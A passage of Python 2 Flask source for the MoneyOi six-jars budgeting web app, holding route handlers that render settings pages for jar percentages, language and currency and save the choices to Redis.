onclick="jarPercentageChange('Play','decrease')"> <input id="ffa-inc-submit" type="button" onclick="jarPercentageChange('Investment','increase')"> <input id="ffa-dec-submit" type="button" onclick="jarPercentageChange('Investment','decrease')"> <input id="giv-inc-submit" type="button" onclick="jarPercentageChange('Give','increase')"> <input id="giv-dec-submit" type="button" onclick="jarPercentageChange('Give','decrease')"> <label class="sixjars-label-class"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/nec.png" style="width:24px;height:24px;">&nbsp<span id="nec-jar">{nec_caption}</span></p> </div> <div class="col-xs-6" style="padding:0px; color:white"> <label for="nec-dec-submit" class="menu-button-label" style="right: 95px;"> <i class="fa fa-minus-circle fa-2x"></i> </label> <label class="pecentage-class" id="nec-pct">{nec_pct}%</label> <label for="nec-inc-submit" class="menu-button-label" style="right: 10px;"> <i class="fa fa-plus-circle fa-2x"></i> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/edu.png" style="width:24px;height:24px;">&nbsp<span id="edu-jar">{edu_caption}</span></p> </div> <div class="col-xs-6" style="padding:0px; color:white"> <label for="edu-dec-submit" class="menu-button-label" style="right: 95px;"> <i class="fa fa-minus-circle fa-2x"></i> </label> <label class="pecentage-class" id="edu-pct">{edu_pct}%</label> <label for="edu-inc-submit" class="menu-button-label" style="right: 10px;"> <i class="fa fa-plus-circle fa-2x"></i> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/lts.png" style="width:24px;height:24px;">&nbsp<span id="lts-jar">{lts_caption}</span></p> </div> <div class="col-xs-6" style="padding:0px; color:white"> <label for="lts-dec-submit" class="menu-button-label" style="right: 95px;"> <i class="fa fa-minus-circle fa-2x"></i> </label> <label class="pecentage-class" id="lts-pct">{lts_pct}%</label> <label for="lts-inc-submit" class="menu-button-label" style="right: 10px;"> <i class="fa fa-plus-circle fa-2x"></i> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/ply.png" style="width:24px;height:24px;">&nbsp<span id="ply-jar">{ply_caption}</span></p> </div> <div class="col-xs-6" style="padding:0px; color:white"> <label for="ply-dec-submit" class="menu-button-label" style="right: 95px;"> <i class="fa fa-minus-circle fa-2x"></i> </label> <label class="pecentage-class" id="ply-pct">{ply_pct}%</label> <label for="ply-inc-submit" class="menu-button-label" style="right: 10px;"> <i class="fa fa-plus-circle fa-2x"></i> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/ffa.png" style="width:24px;height:24px;">&nbsp<span id="ffa-jar">{ffa_caption}</span></p> </div> <div class="col-xs-6" style="padding:0px; color:white"> <label for="ffa-dec-submit" class="menu-button-label" style="right: 95px;"> <i class="fa fa-minus-circle fa-2x"></i> </label> <label class="pecentage-class" id="ffa-pct">{ffa_pct}%</label> <label for="ffa-inc-submit" class="menu-button-label" style="right: 10px;"> <i class="fa fa-plus-circle fa-2x"></i> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/giv.png" style="width:24px;height:24px;">&nbsp<span id="giv-jar">{giv_caption}</span></p> </div> <div class="col-xs-6" style="padding:0px; color:white"> <label for="giv-dec-submit" class="menu-button-label" style="right: 95px;"> <i class="fa fa-minus-circle fa-2x"></i> </label> <label class="pecentage-class" id="giv-pct">{giv_pct}%</label> <label for="giv-inc-submit" class="menu-button-label" style="right: 10px;"> <i class="fa fa-plus-circle fa-2x"></i> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="save" type="button" onclick="save('{user_id}')"> <label class="save-class" for="save"> <i class="fa fa-floppy-o" style="color:LIME"></i>&nbsp {save_caption} </label> </div> </div> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div class="msg-class"> <label id="msg-label" style="text-align:center; display:none; font-weight:400"><i class="fa fa-warning"></i> Total percentage must be 100%</label> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {back} {save} {jarPercentageChange} {pie_chart} </script> """.format(user_id=user_id, report_style=report_style, back=back, save=save, jarPercentageChange=jarPercentageChange, pie_chart=pie_chart, nec_pct=nec_pct, edu_pct=edu_pct, lts_pct=lts_pct, ply_pct=ply_pct, ffa_pct=ffa_pct, giv_pct=giv_pct, total_pct=total_pct, title_caption=title_caption, total_caption=total_caption, nec_caption=nec_caption, edu_caption=edu_caption, lts_caption=lts_caption, ply_caption=ply_caption, ffa_caption=ffa_caption, giv_caption=giv_caption, save_caption=save_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/SaveJarSettingPage/<user_id>', methods=['POST']) def SaveJarSettingPage(user_id): nec_pct = request.form['nec_pct'] edu_pct = request.form['edu_pct'] lts_pct = request.form['lts_pct'] ply_pct = request.form['ply_pct'] ffa_pct = request.form['ffa_pct'] giv_pct = request.form['giv_pct'] print "SaveJarsSetting:user_id:"+user_id print "SaveJarsSetting:nec_pct:"+nec_pct print "SaveJarsSetting:edu_pct:"+edu_pct print "SaveJarsSetting:lts_pct:"+lts_pct print "SaveJarsSetting:ply_pct:"+ply_pct print "SaveJarsSetting:ffa_pct:"+ffa_pct print "SaveJarsSetting:giv_pct:"+giv_pct r.hmset(user_id,{ 'nec_pct':nec_pct, 'edu_pct':edu_pct, 'lts_pct':lts_pct, 'ply_pct':ply_pct, 'ffa_pct':ffa_pct, 'giv_pct':giv_pct }) return "" @app.route('/GeneralSettingPage/<user_id>', methods=['POST']) def GeneralSettingPage(user_id): print "GeneralSettingPage:user_id:"+user_id language = r.hget(user_id,'language') #load language json file with open('static/language.json') as f: language_data = json.load(f) title_caption=language_data[language]['general_setting_page']['title_caption'].encode('utf-8') language_caption=language_data[language]['general_setting_page']['language_caption'].encode('utf-8') currency_caption=language_data[language]['general_setting_page']['currency_caption'].encode('utf-8') factory_reset_caption=language_data[language]['general_setting_page']['factory_reset_caption'].encode('utf-8') version_caption=language_data[language]['general_setting_page']['version_caption'].encode('utf-8') back_caption=language_data[language]['general_setting_page']['back_caption'].encode('utf-8') begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" language_setting = """ function language_setting(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/LanguageSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); } """ currency_setting = """ function currency_setting(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/CurrencySettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); } """ factory_reset = """ function factory_reset(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/FactoryResetPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send(); } """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=GeneralSettingPage'); }; """ setting_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .general-class { text-align: left; font-weight: 300; background-color: DARKSLATEGRAY; height:40px; width: 100%; padding-left:15px; padding-top:10px; cursor: pointer; } .general-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .back-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .back-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .version-class { text-align: left; font-weight: 300; background-color: DARKSLATEGRAY; height:40px; width: 100%; padding-left:15px; padding-top:10px; } """ mid_html = """ <style> /*------ addtranaction style ---------*/ {setting_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="language-setting" type="button" onclick="language_setting('{user_id}')"> <label class="general-class" for="language-setting"> <i class="fa fa-globe" style="color:LIGHTGRAY;"></i>&nbsp {language_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="currency-setting" type="button" onclick="currency_setting('{user_id}')"> <label class="general-class" for="currency-setting"> <i class="fa fa-usd" style="color:LIGHTGRAY;"></i>&nbsp {currency_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="factory-reset" type="button" onclick="factory_reset('{user_id}')"> <label class="general-class" for="factory-reset"> <i class="fa fa-refresh" style="color:LIGHTGRAY;"></i>&nbsp {factory_reset_caption} <i class="fa fa-angle-right" style="position:absolute; top:12px; right:15px"></i> </label> </div> </div> <div class="button-class" style="height:45px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <label class="version-class"> <i class="fa fa-info-circle" style="color:LIGHTGRAY;"></i>&nbsp {version_caption} </label> </div> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="back-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {language_setting} {currency_setting} {factory_reset} {back} </script> """.format(user_id=user_id, setting_style=setting_style, language_setting=language_setting, currency_setting=currency_setting, factory_reset=factory_reset, back=back, title_caption=title_caption, language_caption=language_caption, currency_caption=currency_caption, factory_reset_caption=factory_reset_caption, version_caption=version_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/LanguageSettingPage/<user_id>', methods=['POST']) def LanguageSettingPage(user_id): language = r.hget(user_id,'language') print "LanguageSettingPage:user_id"+user_id print "LanguageSettingPage:"+language #load language json file with open('static/language.json') as f: language_data = json.load(f) title_caption=language_data[language]['language_page']['title_caption'].encode('utf-8') save_caption=language_data[language]['language_page']['save_caption'].encode('utf-8') back_caption=language_data[language]['language_page']['back_caption'].encode('utf-8') initValue = """ function initValue(language) { var radioButtons = document.getElementsByName("language"); for (var x = 0; x < radioButtons.length; x ++) { if (radioButtons[x].value == language) { radioButtons[x].checked = "checked" } } } """ back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/GeneralSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=LanguageSettingPage'); }; """ save = """ function save(user_id) { var radioButtons = document.getElementsByName("language"); for (var x = 0; x < radioButtons.length; x ++) { if (radioButtons[x].checked) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SaveLanguagePage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { back(user_id); }; xhr.send('language='+radioButtons[x].value); } } }; """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" report_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .report-class { position: relative; width:100%; height:210px; } .sixjars-label-class { display: block; color: LIGHTGRAY; width: 100%; height: 35px; font-weight:400; padding: 6px 0px; } /* The radio-container */ .radio-container { display: block; position: absolute; top:5px; right:27px; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } /* Hide the browser's default radio button */ .radio-container input { position: absolute; opacity: 0; cursor: pointer; } /* Create a custom radio button */ .checkmark { position: absolute; top: 0; left: 0; height: 18px; width: 18px; background-color: LIGHTGRAY; border-radius: 50%; } /* Create the indicator (the dot/circle - hidden when not checked) */ .checkmark:after { content: ""; position: absolute; display: none; } /* Show the indicator (dot/circle) when checked */ .radio-container input:checked ~ .checkmark:after { display: block; } /* Style the checkmark/indicator */ .radio-container .checkmark:after { left: 5px; top: 2px; width: 8px; height: 14px; border: solid DARKSLATEGRAY; border-width: 0 3px 3px 0; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); } """ mid_html = """ <style> /*------ history style ---------*/ {report_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="sixjars-class" style="background-color:DARKSLATEGRAY"> <label class="sixjars-label-class"> <div class="col-xs-10" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/vietnam.png" style="width:24px;height:24px;">&nbsp Tiếng Việt (Vietnamese) </p> </div> <div class="col-xs-2"> <label class="radio-container"> <input type="radio" name="language" value="Vietnamese"> <span class="checkmark"></span> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class"> <div class="col-xs-10" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/usa.png" style="width:24px;height:24px;">&nbsp English (US/UK)</p> </div> <div class="col-xs-2" style="padding-top:5px;"> <label class="radio-container"> <input type="radio" name="language" value="English"> <span class="checkmark"></span> </label> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="save" type="button" onclick="save('{user_id}')"> <label class="save-class" for="save"> <i class="fa fa-floppy-o" style="color:LIME"></i>&nbsp {save_caption} </label> </div> </div> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {back} {save} {initValue} initValue('{language}'); </script> """.format(user_id=user_id, report_style=report_style, back=back, save=save, initValue=initValue, language=language, title_caption=title_caption, save_caption=save_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/SaveLanguagePage/<user_id>', methods=['POST']) def SaveLanguagePage(user_id): language = request.form['language'] print "SaveLanguagePage:user_id"+user_id print "SaveLanguagePage:"+language r.hset(user_id, 'language', language) return "" @app.route('/CurrencySettingPage/<user_id>', methods=['POST']) def CurrencySettingPage(user_id): print "CurrencySettingPage:user_id:"+user_id table_begin = """ <table> """ table_end = """ </table> """ table_body = "" checked = "" user_dict = r.hmget(user_id, 'currency', 'language') currency = user_dict[0] language = user_dict[1] #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['currency_page']['title_caption'].encode('utf-8') save_caption=language_data[language]['currency_page']['save_caption'].encode('utf-8') back_caption=language_data[language]['currency_page']['back_caption'].encode('utf-8') for i in range(0,len(currency_data['currency'])): currency_icon = currency_data['currency'][i]['currency_icon'] currency_name = currency_data['currency'][i]['currency_name'] currency_code = currency_data['currency'][i]['currency_code'] currency_sign = currency_data['currency'][i]['currency_sign'] if (currency == currency_code): checked = "checked" else: checked = "" table_body = table_body + """ <tr> <td id="cell1" style="text-align:center"><img src="{currency_icon}" style="width:32px;height:32px;"></td> <td id="cell2"><span style="color:white">{currency_name}</span><br><span style="font-size:small; font-weight:300; color:LIGHTGRAY">{currency_code} ({currency_sign})</span></td> <td id="cell3"> <label class="radio-container"> <input type="radio" name="currency" {checked} value="{currency_code}"> <span class="checkmark"></span> </label> </td> </tr> """.format(currency_icon=currency_icon, currency_name=currency_name, currency_code=currency_code, currency_sign=currency_sign, checked=checked) table = table_begin + table_body + table_end back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/GeneralSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=CurrencySettingPage'); }; """ save = """ function save(user_id) { var radioButtons = document.getElementsByName("currency"); for (var x = 0; x < radioButtons.length; x ++) { if (radioButtons[x].checked) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/SaveCurrencyPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { back(user_id); }; xhr.send('currency='+radioButtons[x].value); } } }; """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" history_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } table { width: 100%; } td { border-bottom: 1px solid DARKSLATEGRAY; padding-top:10px; padding-bottom:10px; } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } /* The radio-container */ .radio-container { display: block; position: relative; padding-right: 18px; padding-bottom: 15px; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } /* Hide the browser's default radio button */ .radio-container input { position: absolute; opacity: 0; cursor: pointer; } /* Create a custom radio button */ .checkmark { position: absolute; top: 0; left: 0; height: 18px; width: 18px; background-color: LIGHTGRAY; border-radius: 50%; } /* Create the indicator (the dot/circle - hidden when not checked) */ .checkmark:after { content: ""; position: absolute; display: none; } /* When the radio button is checked, add a blue background */ .radio-container input:checked ~ .checkmark { background-color: DARKSLATEGRAY; } /* Show the indicator (dot/circle) when checked */ .radio-container input:checked ~ .checkmark:after { display: block; } /* Style the checkmark/indicator */ .radio-container .checkmark:after { left: 5px; top: 2px; width: 8px; height: 14px; border: solid LIGHTGRAY; border-width: 0 3px 3px 0; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); } """ mid_html = """ <style> /*------ history style ---------*/ {history_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div class="history-table-class" id="history-table" style="height:calc(100vh - 205px); min-height:425px; overflow:auto; -webkit-overflow-scrolling: touch"> {table} </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="save" type="button" onclick="save('{user_id}')"> <label class="save-class" for="save"> <i class="fa fa-floppy-o" style="color:LIME"></i>&nbsp {save_caption} </label> </div> </div> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {back} {save} </script> """.format(user_id=user_id, history_style=history_style, table=table, back=back, save=save, title_caption=title_caption, save_caption=save_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/SaveCurrencyPage/<user_id>', methods=['POST']) def SaveCurrencyPage(user_id): currency = request.form['currency'] print "SaveCurrencyPage:user_id"+user_id print "SaveCurrencyPage:"+currency r.hset(user_id, 'currency', currency) return "" @app.route('/FactoryResetPage/<user_id>', methods=['POST']) def FactoryResetPage(user_id): print "FactoryResetPage:user_id:"+user_id user_dict = r.hmget(user_id, 'language', 'user_email', 'user_login') language = user_dict[0] user_email = user_dict[1] user_login = user_dict[2] #load language json file with 